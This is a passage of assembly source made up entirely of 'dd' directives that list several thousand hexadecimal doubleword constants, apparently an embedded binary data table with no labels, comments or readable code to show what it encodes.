820102Bh dd 0F695DB04h, 0ED4A9F64h, 0A0D06130h, 0EA085312h, 0E11B01E2h dd 98F116EEh, 0E491A04Eh, 92CCAC24h, 3EFC721Ch, 0A0A80899h dd 40564C09h, 59F0CC30h, 104AE924h, 16652A22h, 14345A11h dd 7EC40867h, 0AC107010h, 9C9C265Fh, 0ACCF05DFh, 290C214Fh dd 18C594Eh, 0FDAAD050h, 1424301Fh, 91731CCh, 17018916h dd 22039108h, 0C0D4412h, 0E120F89h, 18481924h, 0A221B91h dd 89040544h, 20061207h, 8694DCF1h, 0D129C201h, 2A13B081h dd 0CA6BF448h, 5984EBB8h, 0AC044B12h, 0C408A929h, 0C97BBC41h dd 13A66420h, 1FC56DEEh, 0DA840073h, 3C32C3EDh, 140E60E8h dd 8765C964h, 3DFE776h, 0E3F5EE5Eh, 7C40A646h, 706D130Eh dd 0E46C0A3Ch, 32C60090h, 1493ECDCh, 403DDA12h, 0D0FF489Ah dd 0B2EAFF04h, 61885672h, 0CDC4BF04h, 17FAD1DAh, 95ED5BC2h dd 92366038h, 0DE442CE7h, 0E6900DFDh, 0E209FC2Ah, 38A1792Dh dd 0D6557F04h, 3E176B00h, 0E675E558h, 52BF14DDh, 0F3141080h dd 0AE38ABh, 0FB98555Bh, 3E58562Eh, 0E187B3Fh, 0C2E018EAh dd 0E807EB71h, 47F191EDh, 0F31F1CCAh, 6081D45Dh, 72CE1D52h dd 0BD902848h, 870CE44Eh, 412C1FFEh, 31C560B5h, 90FF757h dd 7FEA8C03h, 0E327940Dh, 7CD1C1CFh, 0E097E0h, 2A6F3579h dd 0F69D317Dh, 623C7F05h, 1473DCFBh, 3267C181h, 36083080h dd 3178E288h, 0E09320h, 3965ED9Bh, 360FB8Ch, 24155D0Fh dd 70E7800Ch, 18E157EEh, 185E3D63h, 0EA01973Ch, 0E6890F0Dh dd 67D30770h, 40F22880h, 9F9903Ah, 0CE188EE8h, 77783D0Eh dd 50806031h, 8D06307h, 0B0F59C1h, 0C49E69Fh, 57A808h dd 8C0364F6h, 883C0CEFh, 0D7ED10Fh, 3065C563h, 968020EEh dd 1B1FA3B6h, 7785DD34h, 0E840C181h, 0BBE699Ch, 0E1E65ED4h dd 90CA7B58h, 3311DF00h, 2F01EDE1h, 105F4205h, 0A300A11Fh dd 9860803Bh, 24D2125Eh, 3E3C003Ah, 0E713AB9Ah, 0CB349501h dd 0ED398077h, 4D7E1C00h, 69C4BB00h, 0BFF49AE6h, 0DB5A02EEh dd 0D80BF2EFh, 0E05BD201h, 204F0AD0h, 0B5346B99h, 1848A178h dd 0CD68B203h, 698CE00Dh, 0AF31608Fh, 0D0F96D2Fh, 5E2C80C4h dd 0B11E9EAh, 14770717h, 4E90408Ah, 0F438B730h, 156A586Ch dd 0E64E5CB8h, 5230D943h, 0E218A86Dh, 0DFB53153h, 90E959C0h dd 0C4DBC31h, 6CC9E303h, 0D905EB40h, 60CD884Ah, 0C450D008h dd 32E31C0h, 98182B18h, 0B4312A4Eh, 6BB9C1EAh, 80BB84A8h dd 28625868h, 0A9E73A66h, 0F18094A4h, 0D4C4E1A7h, 0C84609Fh dd 0D97A4656h, 0DAEE1631h, 4C6A18DDh, 58AA6B28h, 74688480h dd 24802F88h, 3718FEA6h, 1198C039h, 31C4CAA2h, 5C91A16Dh dd 4C4261D8h, 0E858A8EBh, 52910E98h, 47DE245Eh, 0B9ED1928h dd 12A441ABh, 0E46D13BDh, 74EE242Bh, 9AB83CDBh, 89F2C442h dd 2BE70544h, 4E880F21h, 0E450CC44h, 0EE3D2184h, 10E94256h dd 76FCECF5h, 97847442h, 0D4AD4888h, 44777A21h, 0E4A5238Dh dd 42FE3A3Fh, 5D447388h, 4F3A106Ah, 0CD13B6A2h, 7E10C86Ah dd 8EBBA261h, 0A8A07528h, 246C4606h, 0AF4250B5h, 816C6892h dd 60468AC2h, 934B24Dh, 10DD8EABh, 0E65F4060h, 861D23Ah dd 0DE11ED8Ch, 2834B228h, 0DCA77012h, 0DC602290h, 291D1509h dd 0B12B64EEh, 820E470Dh, 6145E182h, 118AE7DCh, 683834F2h dd 0C4E6458h, 0A3A57993h, 3C71FD70h, 409155C0h, 0BC2005C6h dd 0A02190F5h, 643392E2h, 41D84848h, 130499F4h, 9DA26C37h dd 0B02A1A00h, 2F002BD5h, 2925275Bh, 0F0DBD6BAh, 66E0009Eh dd 7AD9ABDDh, 0E35C8E30h, 12AE0914h, 2C005518h, 0E1BC0370h dd 96380A16h, 6E27E400h, 0E070FC6h, 328D19Dh, 1700EE92h dd 27DBD492h, 5CE2C81h, 0EEC0CD8h, 80E1D40h, 0E5F8923Ah dd 44C48130h, 0A591404Ah, 0E18C0F00h, 0E8B2EE1Bh, 63030A08h dd 403029E0h, 88321815h, 1C7FE629h, 34180497h, 2D66F39h dd 0E7633064h, 609A3265h, 4124157Fh, 837FE797h, 0FAC9E670h dd 0E273A248h, 0EA183064h, 8E03000Ah, 516609F8h, 3C752511h dd 2CDCE62Bh, 21AE0F12h, 0F0C926D0h, 252BC68Ah, 6E1F38C1h dd 8AF017C0h, 0A3167C3h, 0C208F58Dh, 0E040E814h, 388AC0DBh dd 9A29A700h, 9B077AEAh, 0AC644AC9h, 13678124h, 442CED3Fh dd 53C6A1BEh, 41B4C71h, 9E03EEACh, 82D8F787h, 6BE2B886h dd 0E070054h, 0DDCA792h, 0C800B18Ah, 0C7F7F44Dh, 74A1AD0Ch dd 0E0B378C0h, 70C6000Eh, 0ACB4FED9h, 0AF0309DAh, 925715A2h dd 8803E0B0h, 0F520E9B1h, 1E1AF071h, 1DFFA6F9h, 7D701BDh dd 0E41866A1h, 0CC1DA5BBh, 0DA07B908h, 0C080A0FEh, 1DA6A1FBh dd 34E04D1Ah, 0F4C86F90h, 66E8043Eh, 0A1FCE900h, 0E616CEB9h dd 6DB0380h, 3AC0AFA5h, 0D408C9Ch, 3580E48h, 0BCB4070Bh dd 790800D5h, 0B0A3EB0Ah, 0B93C0DC4h, 0A5307067h, 0A0B340BEh dd 0E60700D9h, 8BFBD3AFh, 13AA374h, 74D23C89h, 2031B100h dd 3C8BFA5h, 0DABC0EA0h, 0D727B416h, 0D9724001h, 0A490B63Ah dd 0AFAD0F0Fh, 0BC8A06DAh, 90B87460h, 174F0ACh, 0B0A103D6h dd 83AE170Bh, 0BABD3A40h, 78A5A3D0h, 70A778C8h, 1F73E8CCh dd 5CE601D6h, 3A131D0h, 0CDAF0B3h, 0D90AB2EEh, 9879A2FBh dd 567D0448h, 0BA00F8A5h, 73A007DBh, 740C7BCDh, 0E00D01B4h dd 0E606A3A1h, 3C6063BFh, 0C4980340h, 0E173B905h, 0B827B417h dd 9C21849h, 0F041BFBEh, 11C30ADh, 2E8AF71h, 0CD0FE890h dd 98ACA43Ah, 0F9D7BA90h, 0CBE37C61h, 0CC6C1B4h, 0A20DB8DCh dd 0F5043560h, 7F96602h, 99C4C9A3h, 0B430AC21h, 84E4B3B0h dd 0CCFBC973h, 98B0B50Ch, 0C7A48916h, 9EB1DC0Eh, 0CAB09E3Bh dd 0C0A78A05h, 1C20C489h, 9CB6273h, 0C4C201D9h, 0DA65E494h dd 0C090A750h, 7042F5Dh, 0F40A7A8Ah, 108319A0h, 687CB0B9h dd 0FE0BBB78h, 90DABAA3h, 0A5B30120h, 0F9F5BF2Ch, 1EA64070h dd 7CB5FBD7h dd 3A40143Eh, 0AC848C3h, 67B0C689h, 0BAED80E0h, 50024918h dd 386D1EA2h, 0F504C87Fh, 0FFF7057Ch, 0C09B9240h, 0DAB9A500h dd 0AC1488F0h, 0A11C1AC7h, 184E0E07h, 800AC285h, 89E7D7C8h dd 16CDB114h, 860BEF68h, 0EC02EDC0h, 0D8C006D7h, 0B55CEACDh dd 8A033B64h, 1807C6B0h, 0AFC99698h, 0E650A8C0h, 0E3FB3C94h dd 0CD9908Bh, 0AE0A20A0h, 38B8CFBCh, 87A3B027h, 0AD41CA44h dd 3C3CCDBAh, 0D410ED9Dh, 0AFFEDA2Bh, 8801E00Bh, 0A08081BDh dd 8AC0C0B8h, 0CC40282h, 0EC9B4ADh, 0C4EB90E1h, 0E720748Eh dd 1850B00Dh, 21CCBCB7h, 8A0112C7h, 8BFDC4A6h, 503DCEBDh dd 0C8B00725h, 0A4608F1Ah, 0E8979368h, 0B4A128FCh, 344BE780h dd 0C0A683B0h, 0FA180494h, 29CCA160h, 7C34BAFDh, 0E4CEB82Eh dd 0C50F420h, 705CAA8h, 6CDB58Eh, 0DC0BF001h, 0D8D19D97h dd 3ECEA5ECh, 0D398E60Ch, 0BFF82103h, 0FBD9AF0Eh, 0C8CC8AA4h dd 2D67306h, 27C65B90h, 0E19A64E0h, 4B380D80h, 8BEEF010h dd 16D91BB5h, 0ADE1E893h, 852880B6h, 993BEC84h, 801C90A6h dd 4A02D5DCh, 0B9B000ADh, 0A50CD7ABh, 33CB674h, 0B817CEAFh dd 0A553E072h, 801097C4h, 73FC848Ch, 0B11CF8E6h, 6CDC28CCh dd 0D88D8FAh, 0D0DCB351h, 0D0A296E6h, 0E8FD80Eh, 1CF9500h dd 498BEA3h, 80A183F0h, 4E0820A5h, 0C958CC14h, 0F0AF2AB0h dd 1D37438h, 2EBBAB8h, 81F3B0B4h, 288F79B3h, 0E91973A1h dd 92A602D6h, 5FDC9858h, 0B060962Bh, 4EDCA530h, 0CB60D4B4h dd 90A7B60Ah, 0F4A65344h, 0F564644Ah, 2042F6F0h, 0FC003070h dd 0CCC81E7h, 0CCC4A18Ah, 0AFC098E8h, 7CDBC17h, 5EB847Eh dd 0CF7DB40Ch, 3DBC042Bh, 0CE5393Eh, 19CC15FFh, 74B100AFh dd 0CFE146A2h, 0C96E4E79h, 1221F808h, 0F67472BAh, 0C23D0E44h dd 7BC01E5Dh, 6AE78A46h, 630AD800h, 124D43CCh, 0F57D1CFEh dd 4E3A00F7h, 0CD164B2h, 4C761F07h, 308C0392h, 0D68900B4h dd 8EF804BCh, 7960E795h, 0F1FA3BA0h, 4A60C003h, 0ADD45072h dd 30A90A00h, 0C234B514h, 0C8F4031Dh, 0C0D8CF7Bh, 209E1CFAh dd 0D14523h, 0D6CFE11h, 472A748Fh, 2F008C0Bh, 0F3DD363Fh dd 3139F8B1h, 87B8C67Ah, 8875E074h, 35159BE8h, 0F26C1F70h dd 0BC101ADCh, 1000E237h, 787BD3A3h, 0ACA50D40h, 0C5DE401Ch dd 38D992B0h, 3A1CA1C0h, 1F91E218h, 608AC8E0h, 0EA3B61B2h dd 18C020D1h, 0E2DB4D44h, 94FA5149h, 0F8C001E7h, 3E679084h dd 7DE882D1h, 0B9350602h, 3006C4A8h, 2C2B4486h, 0F1CEC4D2h dd 91117842h, 9BC887A1h, 0DFF1C777h, 0A88962D8h, 5020719Ch dd 0F0948AF9h, 80A2423Eh, 0D21D1F23h, 1E88F827h, 183D3CB6h dd 0B8D78B4h, 50D9C940h, 44BEC8BAh, 0D2A120C8h, 37308CC0h dd 81910Dh, 2E2A2447h, 0B89C04B2h, 201C0B56h, 0C16B606Eh dd 3359F2B4h, 0D15E5800h, 17A88553h, 0DA3F1420h, 0F714A0C4h dd 161194A1h, 41A603DDh, 0A0BA9114h, 3897A058h, 6700046Dh dd 4FDE5B6Bh, 20E33D56h, 48C06C0h, 46A774B6h, 20E262B9h dd 6074BF0Dh, 3555E115h, 8E6EE880h, 0BD9E74A0h, 609BBA80h dd 3BB1F977h, 75EEEFE3h, 37BDF918h, 62263FE8h, 15A7F8CAh dd 0E4F4C700h, 36850310h, 24A9ED3h, 0C860187Fh, 0E543B0B9h dd 0CF660703h, 0EF324B0Bh, 79E24240h, 4910F67Ah, 0B629B41Ah dd 0D6659ECh, 8500B1C9h, 0C8689A2Fh, 0A91CD898h, 227828A3h dd 339D8AEh, 20B029FCh, 0F87080E5h, 0A8729C5Ah, 0BFD08Ch dd 0C0EB0A44h, 4FB34037h, 0CE158001h, 60E38243h, 0AC01E421h dd 0ACFCE78Eh, 0C0105467h, 4009002Ch, 59288618h, 0F0638DD3h dd 38B3FB08h, 4000CB20h, 3D50AC5Dh, 0DFF58A91h, 9705501Dh dd 8045D0A8h, 0FA5019F0h, 290206F6h, 812FEB0h, 0BB216760h dd 0DA5021h, 1BECE633h, 3CEAE1F7h, 9186C4A3h, 0F4DEC700h dd 0A4246D36h, 23D20379h, 0DFD174EFh, 436C03A7h, 97CE7E8h dd 0D0564632h, 400C30ADh, 0F0861711h, 0CC80F488h, 46B64003h dd 0B74C0955h, 0AC2FAF64h, 918EFDC3h, 152AC7F0h, 16832301h dd 0AF265F54h, 6A41F600h, 81FCE450h, 0B6B22F13h, 0EE49CC42h dd 845302BEh, 80F18C8Eh, 0F60E5015h, 6A448C22h, 501D0BBFh dd 5C0225F1h, 0BD00520Bh, 900CC9F2h, 4B770C3Ch, 0AC895A2Fh dd 0F77A440Ch, 3A3B2870h, 0E740A9F2h, 792806F0h, 0B0468C5Fh dd 14400D02h, 0F8310886h, 40041317h, 463F86D8h, 2368AB6Fh dd 4D43642h, 8E3705D8h, 514890BEh, 18C0EAC2h, 4F657795h dd 2DA90B2Bh, 74024C41h, 0C062F169h, 18022841h, 0A37408B2h dd 0E3C4D946h, 74BB1141h, 3342680h, 7261F6F5h, 0E47000E3h dd 915F8DDBh, 0A0A8759Ch, 0E7009E6Eh, 481F85D3h, 0A04E74B0h dd 61037Ch, 8B8E162Fh, 0FB91A8EDh, 0E6526CA4h, 0C038F794h dd 4C98FC53h, 0A815F302h, 46823E51h, 0BB00A108h, 50041818h dd 28FAF609h, 0BC206C32h, 4CE45020h, 3A056BB6h, 11CB9EAh dd 333D78E8h, 0EB924136h, 0B710205Eh, 78605841h, 182141A1h dd 0E7FCF898h, 27C86500h, 86470696h, 0BE8A5BEh, 48853CECh dd 44D40BF0h, 0A529884h, 85C3F013h, 3CDE367h, 0DDF9C740h dd 98029546h, 65217D1Eh, 0D4A048B5h, 0B38C0EA3h, 863893Ah dd 830B933h, 0ABF221C0h, 103D488Ch, 0B8226273h, 0ACA0FE66h dd 0C42A42F1h, 1F5160E9h, 0DECC2900h, 40AAB82Eh, 72440677h dd 382CB1FAh, 7D701148h, 4007058Ch, 3818861Ah, 0FE07C9DCh dd 68944340h, 1A1277D0h, 8D5201E8h, 82449A8Fh, 1C7874FFh dd 32D16901h, 4A52566Eh, 9953F824h, 4E9B8104h, 0FC4CA86Fh dd 466FF78Ah, 0E8706A38h, 0D7B5C280h, 7CA2EBA7h, 0FA53709Fh dd 0BA600191h, 7C2548A6h, 0C6982031h, 5349797Dh, 0E1FA17E4h dd 661C8C42h, 589CA3BAh, 2571F0E4h, 1D9E86Fh, 8857519Eh dd 3614D191h, 76BC000Ch, 0C7CA95E5h, 0A46E0486h, 8AE48F90h dd 3AF2378h, 8615400Eh, 20F56284h, 314005CEh, 209FE00h dd 0F06B9CADh, 0D61D1FE0h, 0EBAC05C4h, 128460BAh, 511C6DFEh dd 20E574EDh, 0CE5F2564h, 9F0480D6h, 0AA378809h, 51ACA1C9h dd 300BDFEh, 68933469h, 0A808F112h, 5017C3BCh, 2912F6A8h dd 1FBD8185h, 70A92D50h, 950EA8EFh, 1849A7Ch, 7D3B8246h dd 0CABE58BFh, 3282DA4h, 7A2799C6h, 6E9C1818h, 1D32C449h dd 0C07F0575h, 8B9E70C7h, 260F9867h, 0E2680DA5h, 4C096D41h dd 14ECE798h, 0F003517Eh, 4D2F708Ah, 0D07145F0h, 0AD87F124h dd 2A5452F2h, 3C01DBCCh, 5CAFE733h, 0E0337BECh, 9830FAA2h dd 0F816041Bh, 88CD6261h, 0AB44AE5Ch, 37580644h, 881609FAh dd 346D090h, 0A674B502h, 0F8E7C146h, 74BE0E00h, 9ED22Ah dd 543ECA64h, 564A4E84h, 918D84Dh, 68CEDE2Fh, 81DD2A58h dd 2654264Ah, 3616CCEFh, 29A6FC30h, 0D6960002h, 7B84CE3h dd 5D07C4E9h, 88241B8Ch, 0EDEED990h, 26A17EE4h, 11408BA7h dd 8CA28022h, 8C913AB2h, 0EFC744h, 6AD18CAAh, 31FFEC2Ah dd 6701041Dh, 3218ACCBh, 559404F4h, 0E2643229h, 0FE6C30E1h dd 0C9AB626h, 0E2290340h, 6FD203ADh, 2EE666E3h, 0F5B216F0h dd 95523201h, 2DA8CF0Fh, 907C1020h, 0C956228Ch, 497B3130h dd 0BAF2624Eh, 84872438h, 1DCFC224h, 0D9C0CC6Dh, 4091EA3Ch dd 5000E703h, 0E3AF31Ah, 0B1DE7267h, 37874320h, 8E5DDE2h dd 1D3CBE0Fh, 6416F713h, 284A009h, 0AC10E48h, 0BFAE0810h dd 0F510C400h, 12A6756Fh dd 1261F791h, 12F46094h, 0C2302F86h, 0E69530C5h, 242576E5h dd 871C0465h, 30DD35FCh, 34A2491Ah, 6AFE9614h, 0D4F100D9h dd 389B8DF0h, 90F0AC90h, 1B94628h, 0F607501Ah, 620C28EAh dd 22BA88h, 0D72AB850h, 19B24A84h, 0F1D64E01h, 6BFF7A43h dd 9186405h, 748CAEE0h, 0AC4CBEC0h, 0BA6E8474h, 617A3A46h dd 5E092898h, 9890FA6Bh, 4D74F07Ch, 4684A04Ch, 60950EDBh dd 0F0C5A660h, 16AA1287h, 0D43C47C7h, 45DB069h, 760C68ECh dd 518B9A78h, 0D2222534h, 30105C1Ah, 0BA5C671Fh, 0E79F85FCh dd 0F6C8148Bh, 0A5EC27C0h, 77EF0B8Fh, 58820A32h, 2007533h dd 53B684F7h, 0C12F071h, 5078C766h, 0CE193291h, 0CD1CC204h dd 78883603h, 1A3A1056h, 50E401D7h, 0BB4D01B7h, 90FCB460h dd 0D748434h, 89DCAB3h, 484C3660h, 11D2318h, 3AB78CA7h dd 88CC18A9h, 8C02AFF6h, 0C34206CEh, 0FD9040F1h, 38CCB926h dd 1FE0C5FDh, 2030086Dh, 0B48CA4C0h, 2281463Ah, 0ACF100CBh dd 0E479708Ch, 4800E7FAh, 69E53DC6h, 2A9244A4h, 0ADC71A3h dd 0D60FB8C2h, 30030588h, 0FE8C4097h, 7137B09Fh, 3E26023Ah dd 82C8484Ah, 405FB52Dh, 403A3FB8h, 0EF58ADD2h, 12E3850h dd 51F81431h, 0AC40DA4Eh, 99712EDh, 383CEACEh, 0C23D7880h dd 0E494F36Dh, 0C85510B2h, 947A7898h, 4344544h, 607784h dd 6AD68B12h, 0B430F5FFh, 23CD07B5h, 6331061Fh, 0C7F2F5Dh dd 1CED9510h, 3D8D0B04h, 0C08B0016h, 0F01BF66h, 0C1BD8343h dd 7581185Bh, 51129E09h, 19740C22h, 0B8345350h, 3BAD14Ah dd 0F65856Ah, 9D8D2403h, 0A21AFA4h, 585BD372h, 1017C422h dd 0AC93F120h, 55E06A18h, 2E03E837h, 0C35D2001h, 0FF3A89C9h dd 1A7E33h, 0C3554521h, 0E0A8358Ah, 2E0A4006h, 1F0CE9h dd 61AB0701h, 0D0F86E08h, 115ABA01h, 0C88B662Ah, 87536C91h dd 8922C35Bh, 1016315Ch, 18C35343h, 421176C4h, 960E9D6h dd 88E671Dh, 20B20515h, 191AA6B0h, 1851629Ch, 23C37259h dd 17114C89h, 0C3514100h, 0A75DF367h, 1911E931h, 0E3E80DB4h dd 4F9B0087h, 5B4148A9h, 880096A8h, 89FAD9DCh, 0A01B8D9Dh dd 3085C6ACh, 470C2025h, 0F60BBA66h, 5C168F0h, 7C2E931Ch dd 0AB091723h, 8AA402A7h, 0D93C41C8h, 0C081639Eh, 3B158364h dd 4D34858Dh, 332E1839h, 99001C23h, 16F506C7h, 0A4E6094Dh dd 29048B11h, 0D0FF012Ah, 33800EE8h, 90F2CD53h, 19F8ADEDh dd 2C120300h, 893432EFh, 21D31BDh, 4B505A36h, 0C01B8847h dd 0B3D917DEh, 6D231603h, 0AE95Dh, 390EA421h, 0B7907C76h dd 894A6C38h, 2855B589h, 610485B5h, 57482207h, 91C35FC3h dd 19187C89h, 1C574788h, 439218C3h, 0C7E19ED4h, 1F019483h dd 0D3D78166h, 3023582Bh, 0D23014A2h, 0ADBD3D01h, 8E0FAAE3h dd 8D291F70h, 56115BB5h, 22C35E87h, 18317489h, 0C3564610h dd 10620C01h, 5760AD8Ah, 1CE98941h, 56615800h, 2995031Ch dd 0C22BE729h, 56CA2578h, 0B900B2C7h, 0EEC7637h, 46F7883h dd 8219E8D8h, 2E758D8Bh, 91B2826Bh, 85C72848h, 143F566h dd 0BF0F132Dh, 756404C8h, 714C590Dh, 0BBEE913h, 1232F507h dd 0F220A645h, 0FBF6198h, 8DC2E6C3h, 5D40421Bh, 0E1AC5021h dd 242CA631h, 334110DDh, 8143E84h, 58C3508Ch, 448991C3h dd 40808433h, 5CDFC350h, 36A65400h, 8D23C6ABh, 752E5009h dd 6B1868D9h, 78B1475h, 40D9D540h, 8C016608h, 0F6F18ADBh dd 988804C3h, 0C728057Bh, 9F32C529h, 982A0E94h, 811D2120h dd 34BD880h, 148081A6h, 0D79958Bh, 81605799h, 11538DAh dd 866843B4h, 43E3E45Bh, 0BF49C1DAh, 0B2098A3Eh, 4C0C111Ah dd 12E9373Eh, 185BE06Bh, 0DA000F1Eh, 0B9DD3A83h, 1ED90494h dd 0D28C0252h, 2B440BA2h, 39304h, 0A934B8BFh, 468246Ch dd 0A60F940Ch, 81129C42h, 0D7173203h, 176565C0h, 71043ED3h dd 530A07A9h, 1C4674E4h, 0A6D19500h, 0D61E61A9h, 0F545E0Ah dd 0F54BB286h, 45DFDD10h, 37ACE100h, 8973291Bh, 0B02F00C0h dd 1660179Fh, 0A0315DC2h, 99B6E2C7h, 54159244h, 0DE040C43h dd 4055B450h, 7D0CBA0Ch, 2E4726B9h, 0E00250FDh, 58A370Fh dd 0D8BDF077h, 50051E9Fh, 26799D29h, 0F9D0C120h, 0BF30C621h dd 0B52420FEh, 9543F8E1h, 0FC0D01A1h, 230CC483h, 19749BDh dd 0BB806896h, 1203B667h, 0A915DF17h, 52501832h, 0BCA43051h dd 2AAEE06Ah, 12876850h, 65C7B15Eh, 8918641Eh, 2220A045h dd 823A14D2h, 0C7031523h, 0E68F0FD4h, 0B9663E17h, 0D6BA4500h dd 3D14920Ah, 2037D024h, 293B838Ch, 0B18D1A03h, 45129224h dd 5D19782h, 70BE803h, 6477F02Fh, 0FF3AE079h, 540A7C9Ah dd 8B5AF906h, 20107508h, 2CD520C0h, 3DE0E936h, 23592B16h dd 0C5BA1C35h, 25178814h, 0D0F4A22h, 2B5643D2h, 2D6935FAh dd 7214A65Ah, 1A4674h, 16D6C6B0h, 0D0C2F928h, 13489C44h dd 2B8F0AD2h, 60882C3Ch, 0C007E045h, 8A8BBD00h, 47405356h dd 9B6406C9h, 301A2F4Ah, 0CF69D2B0h, 8066B79Eh, 0B679776Bh dd 98B10B5Bh, 551AB5ACh, 0E42285FDh, 4ED1D322h, 5276C849h dd 91C35AC3h, 1F235489h, 0C3524281h, 95D69C2Ah, 838B9564h dd 0AF82F7F8h, 0FC06014Eh, 0BA5A1678h, 23D43B21h, 0E1DA001Bh dd 0F02C2DBBh, 0D614FD31h, 87221B69h, 75BA660Fh, 0F98B5E78h dd 0B24A63E9h, 0B6903015h, 95292FB0h, 0CD208B2Dh, 3909FA40h dd 0DD0E59Dh, 5882C0Fh, 0D836C394h, 0F3A77E46h, 0B2F59ACCh dd 0E066D4h, 86DEDAA0h, 0A8CCFFDCh, 333A910Eh, 7C64C0FBh dd 0ACF8150h, 5E72171Fh, 8721C8ECh, 0F06F3F3Bh, 70E8AF3h dd 13852E07h, 6DC5C9C0h, 1E64DD56h, 1C3164C1h, 0ECB68105h dd 18E244FCh, 0A8EBA4B1h, 0DBD11C2h, 854E6C31h, 6018C4BDh dd 24C17361h, 7C82C41Dh, 980F1446h, 1ACB9531h, 0C1C69EAEh dd 0E1F89910h, 0BA04FFB2h, 6982D5DFh, 0A360C3D8h, 0CE2FCAFCh dd 9CF00CAh, 0BEED93CAh, 0F500EB04h, 0B66A1759h, 19E2B756h dd 0B061D7A8h, 20012153h, 5C24460Fh, 3F0A4B59h, 0D80496BFh dd 91442202h, 65021311h, 21B9995h, 7B97046Ah, 36801C11h dd 0BEC6C8CFh, 408E2F06h, 6074F8E8h, 0BD895BB5h, 75D41405h dd 8C17E84Dh, 4C5AD709h, 11AD1FEBh, 8A258314h, 0BF3C03E8h dd 30D95692h, 0B59801BAh, 0C10E8223h, 2062B61Eh, 6A1B2296h dd 0A66302D2h, 70305C9Bh, 289400CCh, 1D465Eh, 0C2EA8242h dd 0E52E1EE9h, 44DA7561h, 6F7505E3h, 44D4734h, 81C07ADFh dd 2908811Dh, 111924C7h, 0C4468F45h, 13F0DE8h, 0FB16BB14h dd 0CC4A2D81h, 480BE5EEh, 10E8FDADh, 0FCA107h, 7344B574h dd 0EBF52D3Ah, 486D6400h, 18725AA5h, 5FD5E953h, 0BC801E38h dd 361FA045h, 0C78AA200h, 9D10EB21h, 573B006Eh, 65BCE981h dd 5F0958B5h, 0B7C08B59h, 290C87B4h, 104EC00Eh, 798C1E6h dd 0C1E314E1h, 903FD2E2h, 5760BDD2h, 785156E2h, 0BB9530B0h dd 3EAE3102h, 5160ED70h, 9CBF801Dh, 1263622h, 6A7D952Eh dd 0FE26198h, 2FDB186h, 1A558D29h, 191335Bh, 23132F4Fh dd 917D0019h, 33BBDFB5h, 0AD350975h, 2530560Bh, 7F1994h dd 0FE9B3852h, 72D65A81h, 0DD795C0Fh, 0E9FF6376h, 2E2D0E08h dd 0F8005639h, 5F2C53E2h, 0E7B86804h, 0AA81CEE4h, 34281BE5h dd 6DC00CB4h, 0D40A687Bh, 19C005DBh, 0A33125F0h, 50F7C20Eh dd 0A868B980h, 0A1120ABh dd 74C00B1Ch, 32D88BCCh, 2207223Ch, 109D352h, 9388366h dd 0B5410A75h, 9E1932C1h, 7760F956h, 617D325h, 3573056Dh dd 0E09E14Ah, 0C45EC701h, 0F90A601Dh, 196C02FCh, 46D49AE7h dd 20D77D41h, 8E4E8348h, 9C342728h, 0CA00F696h, 289EFDE2h dd 0A9F8CEB1h, 0E90105CCh, 12F894Ah, 0A458EAB5h, 825932D8h dd 8DF5A50Bh, 0AF032768h, 0E8A92415h, 0EFC54017h, 0BE09FB35h dd 9843DC0Ah, 0A237D2h, 9C39C401h, 0F25B83F1h, 0DAEDE07h dd 0FDF04E55h, 91505A41h, 1814D17Ah, 0AF858A5h, 9911C54Ch dd 13222Ch, 0AED6EEA0h, 47B232D5h, 0CCB86B00h, 8FF90F93h dd 0DC310BCh, 0C7810198h, 5FEDA180h, 8C8CD474h, 0B1FFE112h dd 2B0D1704h, 0CA8B6003h, 0E8F7B8F0h, 3FB06150h, 0BF0F8CA8h dd 0FF4B6AFCh, 84001C6Eh, 715C6AC5h, 8014A191h, 35C2E9F2h dd 8C107D85h, 0BCAE4D36h, 40E85E71h, 2554F123h, 690131BCh dd 0E66212D1h, 0F8823FC3h, 5F1185D9h, 74A6B9F1h, 4B40E09h dd 0D6945005h, 1FA1C8Ch, 1DD30243h, 0C450BB6Eh, 5B948F0Fh dd 0B10E98Ch, 247900F5h, 5E7B73B3h, 0A101A0A7h, 61527ED8h dd 7288FC71h, 0E8122DB1h, 0E6412720h, 0ABF63DA0h, 0F13E1183h dd 3A0936Dh, 320028C9h, 0D38B04A7h, 25B5295Fh, 0F1A62CDDh dd 8D90ABDAh, 94077920h, 1B5D1835h, 0A5B6CE8Bh, 4A1D4674h dd 0A627A540h, 24F8E7D7h, 4044E8E3h, 4E9AE16Bh, 8A266E00h dd 359F5E63h, 2DBF00ABh, 59481168h, 8B1466ECh, 40EF5ACBh dd 0E52A8057h, 234CFE39h, 1BDB184h, 0DD7284EAh, 404335B1h dd 0CBDC22CEh, 1D4444A7h, 2B8CC960h, 1BAD2607h, 6080ABEFh dd 2C8B50F8h, 0A160E1BDh, 20E81657h, 83306571h, 0B7700813h dd 2413204h, 4060590Ah, 1A3D9D89h, 0C5EE5284h, 33FDBD1Bh dd 0AEAAC621h, 0FF00D477h, 43D59978h, 6C505247h, 0B170C4A5h dd 0E94FA892h, 497F3B40h, 25DFFF3h, 0A936045Bh, 7292A051h dd 13E53540h, 0DF20C6A5h, 0AD56D762h, 0E6698424h, 408DE94Ah dd 4F9AD8CDh, 0DC273E32h, 503E2C9Dh, 7F78FDB3h, 2F6A0076h dd 80571FBAh, 5F5250F5h, 355425Bh, 7A6260BAh, 0EAA2226Fh dd 0B2F2F7A0h, 0B896AF64h, 8ECB8A44h, 0C114C88Ah, 6C8D0F07h dd 19582C1h, 622B071Dh, 2045083Dh, 29850107h, 0F50AEBAh dd 2924A483h, 9B10D99h, 47E72C41h, 0E9601A64h, 5809B12Ah dd 5739A23Fh, 9B6F6E48h, 0CA1D9705h, 89084BAFh, 38F8AC6Ch dd 8133145h, 1740094Ch, 8AC19250h, 64D4476Eh, 2B5B6016h dd 0BC86ACA7h, 0AD13DC29h, 0E945DD9Bh, 9D0D4F7Ah, 0E4399ADEh dd 8A0EB4BCh, 0F9F8B70Fh, 22E8F158h, 7B96A15Ah, 0F0B95011h dd 5C56C67Eh, 0EA306186h, 6D497C9Ch, 6415FB43h, 45E2A00Dh dd 0B335840Fh, 0F9565284h, 26EF5FC9h, 42180576h, 0B512F872h dd 50798B5Ch, 4E004464h, 0D8878A62h, 64A174h, 81CC28F3h dd 0E171D4D7h, 74592F31h, 8C06F976h, 508107E4h, 62811438h dd 785EBA8Ch, 0A315272Ah, 0A7E5957Fh, 916F9D69h, 9D978019h dd 290C2D9Bh, 6F9660BDh, 0C7D04C30h, 63201B34h, 2AFF75E0h dd 90C761AFh, 0C0852E7Eh, 22021CFCh, 4C28D34Ah, 4130A811h dd 15218827h, 259D0980h, 291C1EA1h, 9D1E1B50h, 